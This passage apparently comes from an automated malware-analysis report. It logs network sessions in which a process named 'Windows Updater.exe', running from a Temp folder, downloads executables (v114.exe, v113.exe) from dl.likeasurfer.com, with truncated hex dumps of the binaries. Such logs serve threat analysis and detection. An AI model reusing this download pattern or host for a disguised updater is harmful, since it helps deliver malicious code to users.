RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:52:34 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:52:34 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50140	172.67.150.192	443	6584	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:36 UTC	153	OUT	GET /updates/v114.exe HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: dl.likeasurfer.com Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:52:36 UTC	705	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 33 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 39 30 30 36 38 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 31 31 20 4d 61 79 20 32 30 32 32 20 30 35 3a 30 32 3a 34 31 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 32 37 62 34 33 37 31 2d 34 61 63 37 34 38 22 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 31 34 34 30 30 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:52:36 GMTContent-Type: application/octet-streamContent-Length: 4900680Connection: closeLast-Modified: Wed, 11 May 2022 05:02:41 GMTETag: "627b4371-4ac748"Cache-Control: max-age=14400CF-Cache-Status:
2023-12-06 13:52:36 UTC	664	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 e7 ac 00 92 86 c2 53 92 86 c2 53 92 86 c2 53 41 f4 c1 52 9f 86 c2 53 41 f4 c7 52 2b 86 c2 53 41 f4 c4 52 93 86 c2 53 f0 fe c6 52 81 86 c2 53 f0 fe c1 52 8a 86 c2 53 f0 fe c7 52 fa 86 c2 53 41 f4 c6 52 88 86 c2 53 41 f4 c3 52 91 86 c2 53 41 f4 c5 52 93 86 c2 53 92 86 c3 53 4f 84 c2 53 12 ff cb 52 df 87 c2 53 12 ff 3d 53 93 86 c2 53 92 86 55 53 93 86 c2 53 12 ff c0 52 93 86 c2 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$SSSARSAR+SARSRSRSRSARSARSARSSOSRS=SSUSSR
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: 00 be 02 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 5b 02 00 00 80 2d 00 00 5c 02 00 00 44 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: *@@.reloc[-\D-@B
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: c7 85 2c ff ff ff 00 00 00 00 c6 45 fc 0a 8d 85 38 ff ff ff c7 85 30 ff ff ff f4 b9 62 00 c6 85 34 ff ff ff 01 89 85 68 fe ff ff c7 85 5c ff ff ff 00 00 00 00 c6 45 fc 0d 8d 85 68 ff ff ff c7 85 60 ff ff ff 10 ba 62 00 c6 85 64 ff ff ff 00 89 85 64 fe ff ff c7 45 8c 00 00 00 00 c6 45 fc 11 8d 45 98 c7 45 90 34 ba 62 00 c6 45 94 00 89 85 60 fe ff ff c7 45 bc 00 00 00 00 c6 45 fc 15 8d 85 78 fe ff ff 89 85 5c fe ff ff c7 85 9c fe ff ff 00 00 00 00 c6 45 fc 16 c7 85 78 fe ff ff d0 ba 62 00 89 85 9c fe ff ff c6 45 fc 17 8d 45 c8 c7 45 c0 00 00 00 00 c6 45 c4 00 89 85 58 fe ff ff c7 45 ec 00 00 00 00 c6 45 fc 18 8b 8d 9c fe ff ff 85 c9 74 35 8b 01 8d 55 c8 52 8b 40 04 ff d0 8b 8d 9c fe ff ff 89 45 ec 85 c9 74 1d 8b 01 8b 50 10 8d 85 78 fe ff ff 3b c8 0f 95 c0 Data Ascii: ,E80b4h\Eh`bddEEEE4bE`EEx\ExbEEEEXEEt5UR@EtPx;
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: cc cc cc cc cc cc 68 00 7f 00 00 6a 00 ff 15 d8 94 6a 00 68 80 ad 61 00 a3 58 b0 6a 00 e8 8e 7d 19 00 59 c3 cc cc 68 02 7f 00 00 6a 00 ff 15 d8 94 6a 00 68 b0 ad 61 00 a3 5c b0 6a 00 e8 6e 7d 19 00 59 c3 cc cc 55 8b ec 6a ff 68 14 10 5c 00 64 a1 00 00 00 00 50 81 ec b0 00 00 00 a1 24 30 6a 00 33 c5 89 45 f0 50 8d 45 f4 64 a3 00 00 00 00 6a 09 ba a0 73 62 00 8d 8d 48 ff ff ff e8 a3 58 00 00 c7 45 fc 00 00 00 00 ba b4 73 62 00 6a 09 8d 8d 60 ff ff ff e8 8a 58 00 00 c6 45 fc 01 ba c8 73 62 00 6a 09 8d 8d 78 ff ff ff e8 74 58 00 00 c6 45 fc 02 ba dc 73 62 00 6a 09 8d 4d 90 e8 61 58 00 00 c6 45 fc 03 ba f0 73 62 00 6a 09 8d 4d a8 e8 4e 58 00 00 c6 45 fc 04 ba 04 74 62 00 6a 05 8d 4d c0 e8 3b 58 00 00 c6 45 fc 05 ba 10 74 62 00 6a 04 8d 4d d8 e8 28 58 00 00 c7 Data Ascii: hjjhaXj}Yhjjha\jn}YUjh\dP$0j3EPEdjsbHXEsbj`XEsbjxtXEsbjMaXEsbjMNXEtbjM;XEtbjM(X
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: e8 c8 53 00 00 c7 45 fc 06 00 00 00 83 c4 18 8d 45 f0 8d 8d 48 ff ff ff 50 51 b9 90 b0 6a 00 e8 59 46 00 00 c7 45 fc ff ff ff ff 8d 85 48 ff ff ff 68 60 79 40 00 6a 07 6a 18 50 e8 c6 74 19 00 68 e0 ae 61 00 e8 0d 78 19 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b 4d f0 33 cd e8 35 74 19 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 81 ec c8 00 00 00 a1 24 30 6a 00 33 c4 89 84 24 c4 00 00 00 8d 0c 24 c7 04 24 60 2e 63 00 51 8d 84 24 c4 00 00 00 c7 44 24 08 00 00 00 00 50 51 b9 9c b0 6a 00 c7 44 24 14 00 00 00 00 c7 44 24 18 90 2e 63 00 c7 44 24 1c 00 00 00 00 c7 44 24 20 00 00 00 00 c7 44 24 24 14 23 63 00 c7 44 24 28 01 00 00 00 c7 44 24 2c 00 00 00 00 c7 44 24 30 c0 2e 63 00 c7 44 24 34 01 00 00 Data Ascii: SEEHPQjYFEHh`y@jjPthaxMdYM35t]U$0j3$$$`.cQ$D$PQjD$D$.cD$D$ D$$#cD$(D$,D$0.cD$4
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: b4 b0 6a 00 d1 fa 8b c2 c7 45 9c 02 00 00 00 c1 e8 1f c7 45 a0 dc 51 63 00 c7 45 a4 b4 b0 6a 00 c7 45 a8 03 00 00 00 c7 45 ac a4 51 63 00 c7 45 b0 b4 b0 6a 00 c7 45 b4 04 00 00 00 c7 45 b8 50 52 63 00 c7 45 bc c0 b0 6a 00 c7 45 c0 05 00 00 00 c7 45 c4 14 52 63 00 c7 45 c8 cc b0 6a 00 c7 45 cc 08 00 00 00 c7 45 d0 b4 52 63 00 c7 45 d4 c0 b0 6a 00 c7 45 d8 0a 00 00 00 c7 45 dc 7c 52 63 00 c7 45 e0 cc b0 6a 00 c7 45 e4 0d 00 00 00 03 c2 0f 84 ad 00 00 00 3d 55 55 55 15 0f 87 cd 00 00 00 8d 3c 40 c1 e7 02 81 ff 00 10 00 00 72 29 8d 47 23 3b c7 0f 86 b9 00 00 00 50 e8 bb 6e 19 00 8b c8 83 c4 04 85 c9 0f 84 ab 00 00 00 8d 41 23 83 e0 e0 89 48 fc eb 11 85 ff 74 0b 57 e8 99 6e 19 00 83 c4 04 eb 02 33 c0 a3 d8 b0 6a 00 a3 dc b0 6a 00 03 c7 a3 e0 b0 6a 00 c7 45 84 Data Ascii: jEEQcEjEEQcEjEEPRcEjEERcEjEERcEjEE\|RcEjE=UUU<@r)G#;PnA#HtWn3jjjE
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: 00 83 c4 0c a3 e8 b1 6a 00 c7 45 fc ff ff ff ff 68 b0 b5 61 00 e8 8b 6d 19 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d f0 33 cd e8 b1 69 19 00 8b e5 5d c3 e8 2e 41 00 00 e8 99 4d 00 00 e8 43 be 19 00 cc cc cc cc 55 8b ec 6a ff 68 83 ad 5f 00 64 a1 00 00 00 00 50 a1 24 30 6a 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 00 68 00 b2 6a 00 c7 05 64 ab 6a 00 f0 b1 6a 00 ff 15 70 c0 61 00 85 c0 75 1f ff 15 5c c0 61 00 85 c0 7e 0a 0f b7 c0 0d 00 00 07 80 85 c0 79 09 c6 05 50 ab 6a 00 01 eb 0a c7 05 f4 b1 6a 00 24 00 00 00 c7 45 fc 01 00 00 00 c7 05 f0 b1 6a 00 60 c6 63 00 c7 45 fc 02 00 00 00 c7 05 f0 b1 6a 00 54 ca 63 00 c7 05 20 b2 6a 00 00 00 00 00 c7 05 24 b2 6a 00 00 00 00 00 c7 05 28 b2 6a 00 00 00 00 00 c7 45 fc ff ff ff ff 68 30 b6 61 00 e8 a3 Data Ascii: jEhamMdY_^M3i].AMCUjh_dP$0j3PEdjhjdjjpau\a~yPjj$Ej`cEjTc j$j(jEh0a
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: c8 ff 52 0c 83 c0 10 a3 a8 44 6a 00 c7 45 fc ff ff ff ff 68 c0 ba 61 00 e8 2f 68 19 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 68 05 40 00 80 e8 f9 6b 00 00 cc cc cc cc cc cc cc cc cc 68 e0 ba 61 00 e8 00 68 19 00 59 c3 cc cc cc cc b9 74 b2 6a 00 e8 46 35 15 00 68 20 bb 61 00 e8 e6 67 19 00 59 c3 cc cc cc cc cc cc cc cc cc cc b9 94 b2 6a 00 e8 26 35 15 00 68 90 bb 61 00 e8 c6 67 19 00 59 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 13 e4 60 00 64 a1 00 00 00 00 50 51 a1 24 30 6a 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 c7 45 f0 00 00 00 00 8b 45 f0 6a 2c a3 b4 b2 6a 00 e8 00 64 19 00 83 c4 04 89 00 89 40 04 a3 b8 b2 6a 00 c7 45 fc 00 00 00 00 c7 05 c0 b2 6a 00 00 00 00 00 c7 05 c4 b2 6a 00 00 00 00 00 c7 05 c8 b2 6a 00 00 00 00 00 c6 45 Data Ascii: RDjEha/hMdY]h@khahYtjF5h agYj&5hagYUjh`dPQ$0j3PEdEEj,jd@jEjjjE
2023-12-06 13:52:36 UTC	1369	IN	Data Raw: e8 54 3d 00 00 c6 45 fc 0c 33 c0 6a 02 c7 05 00 46 6a 00 00 00 00 00 b9 00 46 6a 00 c7 05 10 46 6a 00 00 00 00 00 c7 05 14 46 6a 00 00 00 00 00 68 14 75 64 00 c7 05 10 46 6a 00 00 00 00 00 c7 05 14 46 6a 00 07 00 00 00 66 a3 00 46 6a 00 e8 05 3d 00 00 c6 45 fc 0d 33 c0 6a 09 c7 05 18 46 6a 00 00 00 00 00 b9 18 46 6a 00 c7 05 28 46 6a 00 00 00 00 00 c7 05 2c 46 6a 00 00 00 00 00 68 8c 5c 64 00 c7 05 28 46 6a 00 00 00 00 00 c7 05 2c 46 6a 00 07 00 00 00 66 a3 18 46 6a 00 e8 b6 3c 00 00 c6 45 fc 0e 33 c0 50 0f 57 c0 c7 05 38 46 6a 00 00 00 00 00 c7 05 48 46 6a 00 00 00 00 00 b9 38 46 6a 00 c7 05 4c 46 6a 00 00 00 00 00 68 4c 74 62 00 66 0f 13 05 30 46 6a 00 c7 05 48 46 6a 00 00 00 00 00 c7 05 4c 46 6a 00 07 00 00 00 66 a3 38 46 6a 00 e8 5d 3c 00 00 c6 45 fc Data Ascii: T=E3jFjFjFjFjhudFjFjfFj=E3jFjFj(Fj,Fjh\d(Fj,FjfFj<E3PW8FjHFj8FjLFjhLtbf0FjHFjLFjf8Fj]<E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50145	172.67.150.192	443	6584	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:37 UTC	153	OUT	GET /updates/v113.exe HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: dl.likeasurfer.com Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:52:38 UTC	698	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 35 32 3a 33 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 36 33 35 34 32 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 39 20 41 70 72 20 32 30 32 31 20 31 33 3a 32 39 3a 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 30 37 30 35 36 63 37 2d 33 37 37 38 65 30 22 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 31 34 34 30 30 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:52:37 GMTContent-Type: application/octet-streamContent-Length: 3635424Connection: closeLast-Modified: Fri, 09 Apr 2021 13:29:43 GMTETag: "607056c7-3778e0"Cache-Control: max-age=14400CF-Cache-Status:
2023-12-06 13:52:38 UTC	671	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9b 8c 43 c8 df ed 2d 9b df ed 2d 9b df ed 2d 9b cb 86 2e 9a d2 ed 2d 9b cb 86 28 9a 6a ed 2d 9b b3 99 29 9a cc ed 2d 9b b3 99 2e 9a c8 ed 2d 9b b3 99 28 9a bd ed 2d 9b cb 86 29 9a c5 ed 2d 9b cb 86 2c 9a dc ed 2d 9b cb 86 2a 9a dd ed 2d 9b df ed 2c 9b 1f ef 2d 9b 06 99 24 9a fd ec 2d 9b 06 99 d2 9b de ed 2d 9b df ed ba 9b de ed 2d 9b 06 99 2f 9a de ed 2d 9b 52 69 63 68 df ed 2d Data Ascii: MZ@!L!This program cannot be run in DOS mode.$C---.-(j-)-.-(-)-,-*-,-$---/-Rich-
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 93 01 00 00 50 1f 00 00 94 01 00 00 1e 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@.relocP@B
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 0f 95 c0 50 ff d2 c7 85 9c fe ff ff 00 00 00 00 c7 45 fc 1b 00 00 00 8d 8d a0 fe ff ff 51 8d 45 f0 50 51 e8 c0 f0 02 00 c7 45 fc ff ff ff ff 8d 85 a0 fe ff ff 68 10 f2 42 00 6a 07 6a 30 50 e8 3c 15 12 00 68 10 6c 57 00 e8 a3 10 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b 4d f0 33 cd e8 dd 0d 12 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 68 40 a7 5d 00 ff 15 64 80 57 00 85 c0 75 29 ff 15 3c 80 57 00 85 c0 7e 0a 0f b7 c0 0d 00 00 07 80 85 c0 79 13 68 20 6c 57 00 c6 05 5c c4 5d 00 01 e8 41 10 12 00 59 c3 68 20 6c 57 00 c7 05 30 a7 5d 00 28 00 00 00 e8 2b 10 12 00 59 c3 55 8b ec 6a ff 68 70 ab 54 00 64 a1 00 00 00 00 50 83 ec 0c a1 24 60 5d 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 5c c7 05 38 71 5d 00 48 89 58 00 c7 45 f0 3c 71 5d Data Ascii: PEQEPQEhBjj0P<hlWMdYM3]jh@]dWu)<W~yh lW\]AYh lW0](+YUjhpTdP$`]3PEdj\8q]HXE<q]
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 79 09 c6 05 5c c4 5d 00 01 eb 0a c7 05 a8 c5 5d 00 24 00 00 00 c7 45 fc 01 00 00 00 c7 05 a4 c5 5d 00 0c 02 59 00 c7 45 fc 02 00 00 00 c7 05 a4 c5 5d 00 04 06 59 00 c7 05 d4 c5 5d 00 00 00 00 00 c7 05 d8 c5 5d 00 00 00 00 00 c7 05 dc c5 5d 00 00 00 00 00 c7 45 fc ff ff ff ff 68 60 72 57 00 e8 32 0b 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 cc cc cc cc cc cc cc 6a 20 68 50 12 59 00 b9 a0 71 5d 00 e8 7f 62 00 00 68 c0 72 57 00 e8 fe 0a 12 00 59 c3 cc cc cc 55 8b ec 6a ff 68 5f ab 55 00 64 a1 00 00 00 00 50 a1 24 60 5d 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 c7 45 fc ff ff ff ff 68 d0 72 57 00 e8 c6 0a 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc 68 20 73 57 00 e8 9f 0a 12 00 59 c3 cc cc cc cc Data Ascii: y\]]$E]YE]Y]]]Eh`rW2MdY]j hPYq]bhrWYUjh_UdP$`]3PEdEhrWMdY]h sWY
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 10 8b c8 ff 52 0c 83 c0 10 a3 64 c6 5d 00 c7 45 fc ff ff ff ff 68 00 77 57 00 e8 20 06 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 68 05 40 00 80 e8 db 70 00 00 cc cc cc cc cc cc cc cc cc cc cc 68 00 78 57 00 e8 ef 05 12 00 59 c3 cc cc cc cc b9 68 c6 5d 00 e8 f6 f6 0d 00 68 40 78 57 00 e8 d5 05 12 00 59 c3 cc cc cc cc cc cc cc cc cc cc b9 88 c6 5d 00 e8 d6 f6 0d 00 68 b0 78 57 00 e8 b5 05 12 00 59 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 e3 aa 56 00 64 a1 00 00 00 00 50 51 a1 24 60 5d 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 c7 45 f0 00 00 00 00 8b 45 f0 6a 2c a3 a8 c6 5d 00 e8 04 03 12 00 83 c4 04 89 00 89 40 04 a3 ac c6 5d 00 c7 45 fc 00 00 00 00 c7 05 b4 c6 5d 00 00 00 00 00 c7 05 b8 c6 5d 00 00 00 00 00 c7 05 bc c6 5d 00 00 00 Data Ascii: Rd]EhwW MdY]h@phxWYh]h@xWY]hxWYUjhVdPQ$`]3PEdEEj,]@]E]]]
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 5d 00 00 00 00 00 c7 05 7c 73 5d 00 07 00 00 00 66 a3 68 73 5d 00 e8 42 58 00 00 c6 45 fc 0e 33 c0 50 0f 57 c0 c7 05 98 73 5d 00 00 00 00 00 c7 05 9c 73 5d 00 00 00 00 00 b9 88 73 5d 00 68 18 39 58 00 66 0f 13 05 80 73 5d 00 c7 05 98 73 5d 00 00 00 00 00 c7 05 9c 73 5d 00 07 00 00 00 66 a3 88 73 5d 00 e8 f3 57 00 00 c6 45 fc 0f 33 c0 50 c7 05 b0 73 5d 00 00 00 00 00 b9 a0 73 5d 00 c7 05 b4 73 5d 00 00 00 00 00 68 18 39 58 00 c7 05 b0 73 5d 00 00 00 00 00 c7 05 b4 73 5d 00 07 00 00 00 66 a3 a0 73 5d 00 e8 af 57 00 00 c6 45 fc 10 33 c0 50 c7 05 c8 73 5d 00 00 00 00 00 b9 b8 73 5d 00 c7 05 cc 73 5d 00 00 00 00 00 68 18 39 58 00 c7 05 c8 73 5d 00 00 00 00 00 c7 05 cc 73 5d 00 07 00 00 00 66 a3 b8 73 5d 00 e8 6b 57 00 00 c6 45 fc 11 33 c0 6a 08 c7 05 e0 73 5d Data Ascii: ]\|s]fhs]BXE3PWs]s]s]h9Xfs]s]s]fs]WE3Ps]s]s]h9Xs]s]fs]WE3Ps]s]s]h9Xs]s]fs]kWE3js]
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 53 00 00 c6 45 fc 21 33 c0 50 c7 05 78 75 5d 00 00 00 00 00 b9 68 75 5d 00 c7 05 7c 75 5d 00 00 00 00 00 68 18 39 58 00 c7 05 78 75 5d 00 00 00 00 00 c7 05 7c 75 5d 00 07 00 00 00 66 a3 68 75 5d 00 e8 bd 52 00 00 c6 45 fc 22 33 c0 50 c7 05 90 75 5d 00 00 00 00 00 b9 80 75 5d 00 c7 05 94 75 5d 00 00 00 00 00 68 18 39 58 00 c7 05 90 75 5d 00 00 00 00 00 c7 05 94 75 5d 00 07 00 00 00 66 a3 80 75 5d 00 e8 79 52 00 00 c6 45 fc 23 33 c0 6a 11 c7 05 a8 75 5d 00 00 00 00 00 b9 98 75 5d 00 c7 05 ac 75 5d 00 00 00 00 00 68 98 9d 59 00 c7 05 a8 75 5d 00 00 00 00 00 c7 05 ac 75 5d 00 07 00 00 00 66 a3 98 75 5d 00 e8 34 52 00 00 c6 45 fc 24 33 c0 6a 04 c7 05 c0 75 5d 00 00 00 00 00 b9 b0 75 5d 00 c7 05 c4 75 5d 00 00 00 00 00 68 d8 a4 59 00 c7 05 c0 75 5d 00 00 00 00 Data Ascii: SE!3Pxu]hu]\|u]h9Xxu]\|u]fhu]RE"3Pu]u]u]h9Xu]u]fu]yRE#3ju]u]u]hYu]u]fu]4RE$3ju]u]u]hYu]
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 b9 48 77 5d 00 68 18 39 58 00 c7 05 58 77 5d 00 00 00 00 00 c7 05 5c 77 5d 00 07 00 00 00 66 a3 48 77 5d 00 e8 7d 4d 00 00 c6 45 fc 35 33 c0 6a 11 c7 05 70 77 5d 00 00 00 00 00 b9 60 77 5d 00 c7 05 74 77 5d 00 00 00 00 00 68 5c 9e 59 00 c7 05 70 77 5d 00 00 00 00 00 c7 05 74 77 5d 00 07 00 00 00 66 a3 60 77 5d 00 e8 38 4d 00 00 c6 45 fc 36 33 c0 6a 04 c7 05 88 77 5d 00 00 00 00 00 b9 78 77 5d 00 c7 05 8c 77 5d 00 00 00 00 00 68 d8 a4 59 00 c7 05 88 77 5d 00 00 00 00 00 c7 05 8c 77 5d 00 07 00 00 00 66 a3 78 77 5d 00 e8 f3 4c 00 00 c6 45 fc 37 33 c0 6a 07 c7 05 a0 77 5d 00 00 00 00 00 b9 90 77 5d 00 c7 05 a4 77 5d 00 00 00 00 00 68 2c c5 58 00 c7 05 a0 77 5d 00 00 00 00 00 c7 05 a4 77 5d 00 07 00 00 00 66 a3 90 77 5d 00 e8 ae 4c 00 00 c6 45 Data Ascii: Hw]h9XXw]\w]fHw]}ME53jpw]`w]tw]h\Ypw]tw]f`w]8ME63jw]xw]w]hYw]w]fxw]LE73jw]w]w]h,Xw]w]fw]LE
2023-12-06 13:52:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 c7 05 38 79 5d 00 00 00 00 00 c7 05 3c 79 5d 00 07 00 00 00 66 a3 28 79 5d 00 68 80 9e 59 00 e8 29 48 00 00 c6 45 fc 48 33 c0 6a 04 c7 05 50 79 5d 00 00 00 00 00 b9 40 79 5d 00 c7 05 54 79 5d 00 00 00 00 00 68 d8 a4 59 00 c7 05 50 79 5d 00 00 00 00 00 c7 05 54 79 5d 00 07 00 00 00 66 a3 40 79 5d 00 e8 e4 47 00 00 c6 45 fc 49 33 c0 6a 07 c7 05 68 79 5d 00 00 00 00 00 b9 58 79 5d 00 c7 05 6c 79 5d 00 00 00 00 00 68 14 a5 59 00 c7 05 68 79 5d 00 00 00 00 00 c7 05 6c 79 5d 00 07 00 00 00 66 a3 58 79 5d 00 e8 9f 47 00 00 c6 45 fc 4a 33 c0 6a 0a c7 05 88 79 5d 00 00 00 00 00 b9 78 79 5d 00 c7 05 8c 79 5d 00 00 00 00 00 68 e0 8a 59 00 c7 05 70 79 5d 00 03 00 00 00 c7 05 74 79 5d 00 00 00 00 00 c7 05 88 79 5d 00 00 00 00 00 c7 05 8c 79 5d 00 07 00 Data Ascii: 8y]<y]f(y]hY)HEH3jPy]@y]Ty]hYPy]Ty]f@y]GEI3jhy]Xy]ly]hYhy]ly]fXy]GEJ3jy]xy]y]hYpy]ty]y]y]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50180	54.165.145.62	443	3196	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:52:58 UTC	241	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 165 Cache-Control: no-cache
